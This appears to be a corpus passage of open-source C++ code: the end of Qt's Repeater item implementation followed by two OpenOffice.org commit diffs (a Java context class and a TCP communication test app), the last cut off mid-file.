Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"private\/qdeclarativerepeater_p.h\"\n#include \"private\/qdeclarativerepeater_p_p.h\"\n\n#include \"private\/qdeclarativevisualitemmodel_p.h\"\n#include <private\/qdeclarativeglobal_p.h>\n#include <qdeclarativelistaccessor_p.h>\n\n#include <qlistmodelinterface_p.h>\n\nQT_BEGIN_NAMESPACE\nQDeclarativeRepeaterPrivate::QDeclarativeRepeaterPrivate()\n: model(0), ownModel(false)\n{\n}\n\nQDeclarativeRepeaterPrivate::~QDeclarativeRepeaterPrivate()\n{\n    if (ownModel)\n        delete model;\n}\n\n\/*!\n    \\qmlclass Repeater QDeclarativeRepeater\n    \\since 4.7\n    \\inherits Item\n\n    \\brief The Repeater item allows you to repeat an Item-based component using a model.\n\n    The Repeater item is used when you want to create a large number of\n    similar items.  For each entry in the model, an item is instantiated\n    in a context seeded with data from the model.  If the repeater will\n    be instantiating a large number of instances, it may be more efficient to\n    use one of Qt Declarative's \\l {xmlViews}{view items}.\n\n    The model may be either an object list, a string list, a number or a Qt model.\n    In each case, the data element and the index is exposed to each instantiated\n    component.  \n    \n    The index is always exposed as an accessible \\c index property.\n    In the case of an object or string list, the data element (of type string\n    or object) is available as the \\c modelData property.  In the case of a Qt model,\n    all roles are available as named properties just like in the view classes. The\n    following example shows how to use the index property inside the instantiated\n    items.\n\n    \\snippet doc\/src\/snippets\/declarative\/repeater-index.qml 0\n\n    \\image repeater-index.png\n\n    Items instantiated by the Repeater are inserted, in order, as\n    children of the Repeater's parent.  The insertion starts immediately after\n    the repeater's position in its parent stacking list.  This is to allow\n    you to use a Repeater inside a layout.  The following QML example shows how\n    the instantiated items would visually appear stacked between the red and\n    blue rectangles.\n\n    \\snippet doc\/src\/snippets\/declarative\/repeater.qml 0\n\n    \\image repeater.png\n\n    The repeater instance continues to own all items it instantiates, even\n    if they are otherwise manipulated.  It is illegal to manually remove an item\n    created by the Repeater.\n\n    \\note Repeater is Item-based, and cannot be used to repeat non-Item-derived objects.\n    For example, it cannot be used to repeat QtObjects.\n    \\badcode\n    Item {\n        \/\/XXX illegal. Can't repeat QtObject as it doesn't derive from Item.\n        Repeater {\n            model: 10\n            QtObject {}\n        }\n    }\n    \\endcode\n *\/\n\n\/*!\n    \\internal\n    \\class QDeclarativeRepeater\n    \\qmlclass Repeater\n *\/\n\n\/*!\n    Create a new QDeclarativeRepeater instance.\n *\/\nQDeclarativeRepeater::QDeclarativeRepeater(QDeclarativeItem *parent)\n  : QDeclarativeItem(*(new QDeclarativeRepeaterPrivate), parent)\n{\n}\n\n\/*!\n    Destroy the repeater instance.  All items it instantiated are also\n    destroyed.\n *\/\nQDeclarativeRepeater::~QDeclarativeRepeater()\n{\n}\n\n\/*!\n    \\qmlproperty any Repeater::model\n\n    The model providing data for the repeater.\n\n    The model may be either an object list, a string list, a number or a Qt model.\n    In each case, the data element and the index is exposed to each instantiated\n    component.  The index is always exposed as an accessible \\c index property.\n    In the case of an object or string list, the data element (of type string\n    or object) is available as the \\c modelData property.  In the case of a Qt model,\n    all roles are available as named properties just like in the view classes.\n\n    As a special case the model can also be merely a number. In this case it will\n    create that many instances of the component. They will also be assigned an index\n    based on the order they are created.\n\n    Models can also be created directly in QML, using a \\l{ListModel} or \\l{XmlListModel}.\n\n    \\sa {qmlmodels}{Data Models}\n*\/\nQVariant QDeclarativeRepeater::model() const\n{\n    Q_D(const QDeclarativeRepeater);\n    return d->dataSource;\n}\n\nvoid QDeclarativeRepeater::setModel(const QVariant &model)\n{\n    Q_D(QDeclarativeRepeater);\n    if (d->dataSource == model)\n        return;\n\n    clear();\n    if (d->model) {\n        disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));\n        disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));\n        disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));\n        disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));\n        \/*\n        disconnect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));\n        disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));\n    *\/\n    }\n    d->dataSource = model;\n    emit modelChanged();\n    QObject *object = qvariant_cast<QObject*>(model);\n    QDeclarativeVisualModel *vim = 0;\n    if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {\n        if (d->ownModel) {\n            delete d->model;\n            d->ownModel = false;\n        }\n        d->model = vim;\n    } else {\n        if (!d->ownModel) {\n            d->model = new QDeclarativeVisualDataModel(qmlContext(this));\n            d->ownModel = true;\n        }\n        if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n            dataModel->setModel(model);\n    }\n    if (d->model) {\n        connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));\n        connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));\n        connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));\n        connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));\n        \/*\n        connect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));\n        connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));\n        *\/\n        regenerate();\n        emit countChanged();\n    }\n}\n\n\/*!\n    \\qmlproperty Component Repeater::delegate\n    \\default\n\n    The delegate provides a template defining each item instantiated by the repeater.\n    The index is exposed as an accessible \\c index property.  Properties of the\n    model are also available depending upon the type of \\l {qmlmodels}{Data Model}.\n *\/\nQDeclarativeComponent *QDeclarativeRepeater::delegate() const\n{\n    Q_D(const QDeclarativeRepeater);\n    if (d->model) {\n        if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n            return dataModel->delegate();\n    }\n\n    return 0;\n}\n\nvoid QDeclarativeRepeater::setDelegate(QDeclarativeComponent *delegate)\n{\n    Q_D(QDeclarativeRepeater);\n    if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))\n       if (delegate == dataModel->delegate())\n           return;\n\n    if (!d->ownModel) {\n        d->model = new QDeclarativeVisualDataModel(qmlContext(this));\n        d->ownModel = true;\n    }\n    if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {\n        dataModel->setDelegate(delegate);\n        regenerate();\n        emit delegateChanged();\n    }\n}\n\n\/*!\n    \\qmlproperty int Repeater::count\n\n    This property holds the number of items in the repeater.\n*\/\nint QDeclarativeRepeater::count() const\n{\n    Q_D(const QDeclarativeRepeater);\n    if (d->model)\n        return d->model->count();\n    return 0;\n}\n\n\n\/*!\n    \\internal\n *\/\nvoid QDeclarativeRepeater::componentComplete()\n{\n    QDeclarativeItem::componentComplete();\n    regenerate();\n}\n\n\/*!\n    \\internal\n *\/\nQVariant QDeclarativeRepeater::itemChange(GraphicsItemChange change,\n                                       const QVariant &value)\n{\n    QVariant rv = QDeclarativeItem::itemChange(change, value);\n    if (change == ItemParentHasChanged) {\n        regenerate();\n    }\n\n    return rv;\n}\n\nvoid QDeclarativeRepeater::clear()\n{\n    Q_D(QDeclarativeRepeater);\n    if (d->model) {\n        foreach (QDeclarativeItem *item, d->deletables) {\n            d->model->release(item);\n        }\n    }\n    d->deletables.clear();\n}\n\n\/*!\n    \\internal\n *\/\nvoid QDeclarativeRepeater::regenerate()\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n\n    clear();\n\n    if (!d->model || !d->model->count() || !d->model->isValid() || !parentItem() || !isComponentComplete())\n        return;\n\n    for (int ii = 0; ii < count(); ++ii) {\n        QDeclarativeItem *item = d->model->item(ii);\n        if (item) {\n            QDeclarative_setParent_noEvent(item, parentItem());\n            item->setParentItem(parentItem());\n            item->stackBefore(this);\n            d->deletables << item;\n        }\n    }\n}\n\nvoid QDeclarativeRepeater::itemsInserted(int index, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete())\n        return;\n    for (int i = 0; i < count; ++i) {\n        int modelIndex = index + i;\n        QDeclarativeItem *item = d->model->item(modelIndex);\n        if (item) {\n            QDeclarative_setParent_noEvent(item, parentItem());\n            item->setParentItem(parentItem());\n            if (modelIndex < d->deletables.count())\n                item->stackBefore(d->deletables.at(modelIndex));\n            else\n                item->stackBefore(this);\n            d->deletables.insert(modelIndex, item);\n        }\n    }\n}\n\nvoid QDeclarativeRepeater::itemsRemoved(int index, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete() || count <= 0)\n        return;\n    while (count--) {\n        QDeclarativeItem *item = d->deletables.takeAt(index);\n        if (item)\n            d->model->release(item);\n        else\n            break;\n    }\n}\n\nvoid QDeclarativeRepeater::itemsMoved(int from, int to, int count)\n{\n    Q_D(QDeclarativeRepeater);\n    if (!isComponentComplete() || count <= 0)\n        return;\n    if (from + count > d->deletables.count()) {\n        regenerate();\n        return;\n    }\n    QList<QDeclarativeItem*> removed;\n    int removedCount = count;\n    while (removedCount--)\n        removed << d->deletables.takeAt(from);\n    for (int i = 0; i < count; ++i)\n        d->deletables.insert(to + i, removed.at(i));\n    d->deletables.last()->stackBefore(this);\n    for (int i = d->model->count()-1; i > 0; --i) {\n        QDeclarativeItem *item = d->deletables.at(i-1);\n        item->stackBefore(d->deletables.at(i));\n    }\n}\n\nvoid QDeclarativeRepeater::modelReset()\n{\n    if (!isComponentComplete())\n        return;\n    regenerate();\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: javacontext.cxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 16:11:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_UNO_TYPE_HXX_\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#endif\n#ifndef _SVTOOLS_SVTDATA_HXX\n#include \"svtdata.hxx\"\n#endif\n#ifndef _SVTOOLS_JAVACONTEXT_HXX_\n#include \"javacontext.hxx\"\n#endif\n#ifndef _SVTOOLS_JAVAINTERACTION_HXX_\n#include \"javainteractionhandler.hxx\"\n#endif\n\n\n\nusing namespace rtl;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::task;\nnamespace svt\n{\n\nJavaContext::JavaContext( const Reference< XCurrentContext > & ctx )\n    :\n    m_xNextContext( ctx ),\n    m_bShowErrorsOnce(false),\n    m_aRefCount(0)\n{\n}\n\nJavaContext::JavaContext( const Reference< XCurrentContext > & ctx,\n                          bool bShowErrorsOnce)\n    : m_xNextContext( ctx ), m_bShowErrorsOnce(bShowErrorsOnce),\n      m_aRefCount(0)\n{\n}\n\n\nAny SAL_CALL JavaContext::queryInterface(const Type& aType )\n    throw (RuntimeException)\n{\n    if (aType == getCppuType(reinterpret_cast<Reference<XInterface>*>(0)))\n        return Any( static_cast<XInterface*>(this), aType);\n    else if (aType == getCppuType(reinterpret_cast<Reference<XCurrentContext>*>(0)))\n        return Any( static_cast<XCurrentContext*>(this), aType);\n    return Any();\n}\n\nvoid SAL_CALL JavaContext::acquire(  ) throw ()\n{\n    osl_incrementInterlockedCount( &m_aRefCount );\n}\n\nvoid SAL_CALL JavaContext::release(  ) throw ()\n{\n    if (! osl_decrementInterlockedCount( &m_aRefCount ))\n        delete this;\n}\n\nAny SAL_CALL JavaContext::getValueByName( const OUString& Name) throw (RuntimeException)\n{\n    Any retVal;\n\n    if ( 0 == Name.compareToAscii( JAVA_INTERACTION_HANDLER_NAME ))\n    {\n        {\n            osl::MutexGuard aGuard(osl::Mutex::getGlobalMutex());\n            if (!m_xHandler.is())\n                m_xHandler = Reference< XInteractionHandler >(\n                    new JavaInteractionHandler(m_bShowErrorsOnce));\n        }\n        retVal = makeAny(m_xHandler);\n\n    }\n    else if( m_xNextContext.is() )\n    {\n        \/\/ Call next context in chain if found\n        retVal = m_xNextContext->getValueByName( Name );\n    }\n    return retVal;\n}\n\n\n}\n<commit_msg>INTEGRATION: CWS warnings01 (1.3.62); FILE MERGED 2005\/10\/25 15:07:40 pl 1.3.62.1: #i55991# removed warnings for linux platform<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: javacontext.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 21:18:43 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_UNO_ANY_HXX_\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_UNO_TYPE_HXX_\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#endif\n#ifndef _SVTOOLS_SVTDATA_HXX\n#include \"svtdata.hxx\"\n#endif\n#ifndef _SVTOOLS_JAVACONTEXT_HXX_\n#include \"javacontext.hxx\"\n#endif\n#ifndef _SVTOOLS_JAVAINTERACTION_HXX_\n#include \"javainteractionhandler.hxx\"\n#endif\n\n\n\nusing namespace rtl;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::task;\nnamespace svt\n{\n\nJavaContext::JavaContext( const Reference< XCurrentContext > & ctx )\n    :\n    m_aRefCount(0),\n    m_xNextContext( ctx ),\n    m_bShowErrorsOnce(false)\n{\n}\n\nJavaContext::JavaContext( const Reference< XCurrentContext > & ctx,\n                          bool bShowErrorsOnce)\n    : m_aRefCount(0),\n      m_xNextContext( ctx ),\n      m_bShowErrorsOnce(bShowErrorsOnce)\n{\n}\n\nJavaContext::~JavaContext()\n{\n}\n\nAny SAL_CALL JavaContext::queryInterface(const Type& aType )\n    throw (RuntimeException)\n{\n    if (aType == getCppuType(reinterpret_cast<Reference<XInterface>*>(0)))\n        return Any( static_cast<XInterface*>(this), aType);\n    else if (aType == getCppuType(reinterpret_cast<Reference<XCurrentContext>*>(0)))\n        return Any( static_cast<XCurrentContext*>(this), aType);\n    return Any();\n}\n\nvoid SAL_CALL JavaContext::acquire(  ) throw ()\n{\n    osl_incrementInterlockedCount( &m_aRefCount );\n}\n\nvoid SAL_CALL JavaContext::release(  ) throw ()\n{\n    if (! osl_decrementInterlockedCount( &m_aRefCount ))\n        delete this;\n}\n\nAny SAL_CALL JavaContext::getValueByName( const OUString& Name) throw (RuntimeException)\n{\n    Any retVal;\n\n    if ( 0 == Name.compareToAscii( JAVA_INTERACTION_HANDLER_NAME ))\n    {\n        {\n            osl::MutexGuard aGuard(osl::Mutex::getGlobalMutex());\n            if (!m_xHandler.is())\n                m_xHandler = Reference< XInteractionHandler >(\n                    new JavaInteractionHandler(m_bShowErrorsOnce));\n        }\n        retVal = makeAny(m_xHandler);\n\n    }\n    else if( m_xNextContext.is() )\n    {\n        \/\/ Call next context in chain if found\n        retVal = m_xNextContext->getValueByName( Name );\n    }\n    return retVal;\n}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: commtest.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 15:22:38 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n\n#ifndef _SV_SVAPP_HXX \/\/autogen wg. Application\n#include <vcl\/svapp.hxx>\n#endif\n#ifndef _SV_WRKWIN_HXX \/\/autogen wg. WorkWindow\n#include <vcl\/wrkwin.hxx>\n#endif\n#ifndef _SV_TOOLBOX_HXX \/\/autogen wg. ToolBox\n#include <vcl\/toolbox.hxx>\n#endif\n\n\n#ifndef _SIMPLECM_HXX \/\/autogen wg. CommunicationManager\n#include <tools\/simplecm.hxx>\n#endif\n#ifndef _COMMUNI_HXX \/\/autogen\n#include \"communi.hxx\"\n#endif\n#include \"brooker.hxx\"\n\/\/#include <tools\/bcst.hxx>\n\n#include \"commtest.hrc\"\n\n\n\n#define TCP_PORT 17612\n\n#define CUniString( constAsciiStr ) UniString( RTL_CONSTASCII_USTRINGPARAM ( constAsciiStr ) )\n\n\nclass PacketSender : public Timer\n{\n    SvStream* mpData;\n    CommunicationLinkRef mxCL;\n\npublic:\n    PacketSender( ULONG nDelay, SvStream* pData, CommunicationLink* pCL );\n    virtual void    Timeout();\n};\n\nPacketSender::PacketSender( ULONG nDelay, SvStream* pData, CommunicationLink* pCL )\n: mpData( pData )\n, mxCL( pCL )\n{\n    SetTimeout( nDelay );\n    Start();\n}\n\nvoid PacketSender::Timeout()\n{\n    mxCL->TransferDataStream( mpData );\n    delete mpData;\n    delete this;\n}\n\n\n\nclass DelayedDeleter : public Timer\n{\n    CommunicationManager *mpManager;\n\npublic:\n    DelayedDeleter( ULONG nDelay, CommunicationManager *pManager );\n    virtual void    Timeout();\n};\n\nDelayedDeleter::DelayedDeleter( ULONG nDelay, CommunicationManager *pManager )\n: mpManager( pManager )\n{\n    SetTimeout( nDelay );\n    Start();\n}\n\nvoid DelayedDeleter::Timeout()\n{\n    delete mpManager;\n    delete this;\n}\n\n\n\n\nclass CommunicationTester : public Application\n{\n    DECL_LINK( TBClick, ToolBox* );\n    DECL_LINK( DataReceived, CommunicationLink* );\n    DECL_LINK( ConnectionOpened, CommunicationLink* );\n    DECL_LINK( ConnectionClosed, CommunicationLink* );\n\n\n    CommunicationManager *pClientTcp, *pServerTcp;\n    InformationBroadcaster *pBCSTSend;\n    InformationBroadcaster *pBCSTListen;\n    InformationBrooker *pBCSTBrooker;\npublic:\n    CommunicationTester();\n\n    virtual void Main();\n};\n\nCommunicationTester IchSelber;\n\nCommunicationTester::CommunicationTester()\n: pClientTcp( NULL )\n, pServerTcp( NULL )\n, pBCSTSend( NULL )\n, pBCSTListen( NULL )\n, pBCSTBrooker( NULL )\n{}\n\nvoid CommunicationTester::Main()\n{\n    ResMgr *pRes = ResMgr::CreateResMgr( \"commtest\" );\n    Resource::SetResManager( pRes );\n    WorkWindow aWW( NULL, WB_APP | WB_STDWORK );\n    aWW.Show();\n    ToolBox aTB( &aWW, ResId( TBMenu ) );\n    aTB.Show();\n    aTB.RecalcItems();\n    aTB.SetFloatingMode( TRUE );\n    aTB.SetFloatingMode( FALSE );\n    aTB.SetClickHdl( LINK( this, CommunicationTester, TBClick ) );\n\n    Execute();\n}\n\n#define SWITCH( pManager, ManagerClass )                    \\\n{                                                           \\\n    if ( pManager )                                         \\\n    {                                                       \\\n        pManager->StopCommunication();                      \\\n        new DelayedDeleter( 1000, pManager );               \\\n        pTB->SetItemState( pTB->GetCurItemId(), STATE_NOCHECK );    \\\n        pManager = NULL;                                    \\\n    }                                                       \\\n    else                                                    \\\n    {                                                       \\\n        pManager = new ManagerClass;                        \\\n        pManager->SetConnectionOpenedHdl( LINK( this, CommunicationTester, ConnectionOpened ) );\\\n        pManager->SetConnectionClosedHdl( LINK( this, CommunicationTester, ConnectionClosed ) );\\\n        pManager->SetDataReceivedHdl( LINK( this, CommunicationTester, DataReceived ) );\\\n        pTB->SetItemState( pTB->GetCurItemId(), STATE_CHECK );  \\\n    }                                                       \\\n}\n\n\nIMPL_LINK( CommunicationTester, TBClick, ToolBox*, pTB )\n{\n    switch ( pTB->GetCurItemId() )\n    {\n        case SERVER_TCP:\n            {\n                SWITCH( pServerTcp, CommunicationManagerServerViaSocket( TCP_PORT, (USHORT) 32000 ) );\n                if ( pServerTcp )\n                    pServerTcp->StartCommunication();   \/\/ Am Port horchen\n            }\n            break;\n        case CLIENT_TCP:\n            {\n                SWITCH( pClientTcp, CommunicationManagerClientViaSocket( \"localhost\", TCP_PORT ) );\n                if ( pClientTcp )\n                    pClientTcp->StartCommunication();   \/\/ Eine Verbindung aufbauen\n            }\n            break;\n        case BCST_BROOKER:\n            {\n                if ( pBCSTBrooker )\n                {\n                    delete pBCSTBrooker;\n                    pBCSTBrooker = NULL;\n                }\n                else\n                {\n                    pBCSTBrooker = new InformationBrooker();\n                }\n            }\n            break;\n        case BCST_LISTEN:\n            {\n                if ( pBCSTListen )\n                {\n                    delete pBCSTListen;\n                    pBCSTListen = NULL;\n                }\n                else\n                {\n                    pBCSTListen = new InformationBroadcaster();\n                }\n            }\n        case BCST_SEND:\n            {\n                if ( pBCSTSend )\n                {\n                    pBCSTSend->Broadcast( BCST_CAT_PL2X,      \"Message: BCST_CAT_PL2X\" );\n                    pBCSTSend->Broadcast( BCST_CAT_MINORCOPY, \"Message: BCST_CAT_MINORCOPY\" );\n                    pBCSTSend->Broadcast( BCST_CAT_DELIVER,   \"Message: BCST_CAT_DELIVER\" );\n                    pBCSTSend->Broadcast( BCST_CAT_ALL,       \"Message: BCST_CAT_ALL\" );\n                }\n                else\n                {\n                    pBCSTSend = new InformationBroadcaster();\n                }\n            }\n            break;\n    }\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, ConnectionOpened, CommunicationLink*, pCL )\n{\n    SvStream *pData = pCL->GetBestCommunicationStream();\n    while ( pData->Tell() < 70 ) *pData << 123;\n\n    pCL->TransferDataStream( pData );\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, ConnectionClosed, CommunicationLink*, pCL )\n{\n    return 0;\n}\n\nIMPL_LINK( CommunicationTester, DataReceived, CommunicationLink*, pCL )\n{\n    \/\/ Find Manager\n    CommunicationManager* pManager;\n    if ( pClientTcp && pClientTcp->IsLinkValid( pCL ) )\n    {\n        pManager = pClientTcp;\n    }\n    if ( pServerTcp && pServerTcp->IsLinkValid( pCL ) )\n    {\n        DBG_ASSERT( !pManager, \"CommunicationLink bei mehreren Managern eingetragen\");\n        pManager = pServerTcp;\n    }\n    DBG_ASSERT( pCL->GetCommunicationManager() == pManager, \"Manager des Link != Manager bei dem der Link Valid ist\");\n\n    \/\/ Send Data Back (Echo)\n    new PacketSender( 1000, pCL->GetServiceData(), pCL );\n\n    return 0;\n}\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.5.450); FILE MERGED 2008\/04\/01 15:45:26 thb 1.5.450.2: #i85898# Stripping all external header guards 2008\/03\/31 13:02:27 rt 1.5.450.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: commtest.cxx,v $\n * $Revision: 1.6 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n#include <vcl\/svapp.hxx>\n#include <vcl\/wrkwin.hxx>\n#include <vcl\/toolbox.hxx>\n\n\n#include <tools\/simplecm.hxx>\n#include \"communi.hxx\"\n#include \"brooker.hxx\"\n\/\/#include <tools\/bcst.hxx>\n\n#include \"commtest.hrc\"\n\n\n\n#define TCP_PORT 17612\n\n#define CUniString( constAsciiStr ) UniString( RTL_CONSTASCII_USTRINGPARAM ( constAsciiStr ) )\n\n\nclass PacketSender : public Timer\n{\n    SvStream* mpData;\n    CommunicationLinkRef mxCL;\n\npublic:\n    PacketSender( ULONG nDelay, SvStream* pData, CommunicationLink* pCL );\n    virtual void    Timeout();\n};\n\nPacketSender::PacketSender( ULONG nDelay, SvStream* pData, CommunicationLink* pCL )\n: mpData( pData )\n, mxCL( pCL )\n{\n    SetTimeout( nDelay );\n    Start();\n}\n\nvoid PacketSender::Timeout()\n{\n    mxCL->TransferDataStream( mpData );\n    delete mpData;\n    delete this;\n}\n\n\n\nclass DelayedDeleter : public Timer\n{\n    CommunicationManager *mpManager;\n\npublic:\n    DelayedDeleter( ULONG nDelay, CommunicationManager *pManager );\n    virtual void    Timeout();\n};\n\nDelayedDeleter::DelayedDeleter( ULONG nDelay, CommunicationManager *pManager )\n: mpManager( pManager )\n{\n    SetTimeout( nDelay );\n    Start();\n}\n\nvoid DelayedDeleter::Timeout()\n{\n    delete mpManager;\n    delete this;\n}\n\n\n\n\nclass CommunicationTester : public Application\n{\n    DECL_LINK( TBClick, ToolBox* );\n    DECL_LINK( DataReceived, CommunicationLink* );\n    DECL_LINK( ConnectionOpened, CommunicationLink* );\n    DECL_LINK( ConnectionClosed, CommunicationLink* );\n\n\n    CommunicationManager *pClientTcp, *pServerTcp;\n    InformationBroadcaster *pBCSTSend;\n    InformationBroadcaster *pBCSTListen;\n    InformationBrooker *pBCSTBrooker;\npublic:\n    CommunicationTester();\n\n    virtual void Main();\n};\n\nCommunicationTester IchSelber;\n\nCommunicationTester::CommunicationTester()\n: pClientTcp( NULL )\n, pServerTcp( NULL )\n, pBCSTSend( NULL )\n, pBCSTListen( NULL )\n, pBCSTBrooker( NULL )\n{}\n\nvoid CommunicationTester::Main()\n{\n    ResMgr *pRes = ResMgr::CreateResMgr( \"commtest\" );\n    Resource::SetResManager( pRes );\n    WorkWindow aWW( NULL, WB_APP | WB_STDWORK );\n    aWW.Show();\n    ToolBox aTB( &aWW, ResId( TBMenu ) );\n    aTB.Show();\n    aTB.RecalcItems();\n    aTB.SetFloatingMode( TRUE );\n    aTB.SetFloatingMode( FALSE );\n    aTB.SetClickHdl( LINK( this, CommunicationTester, TBClick ) );\n\n    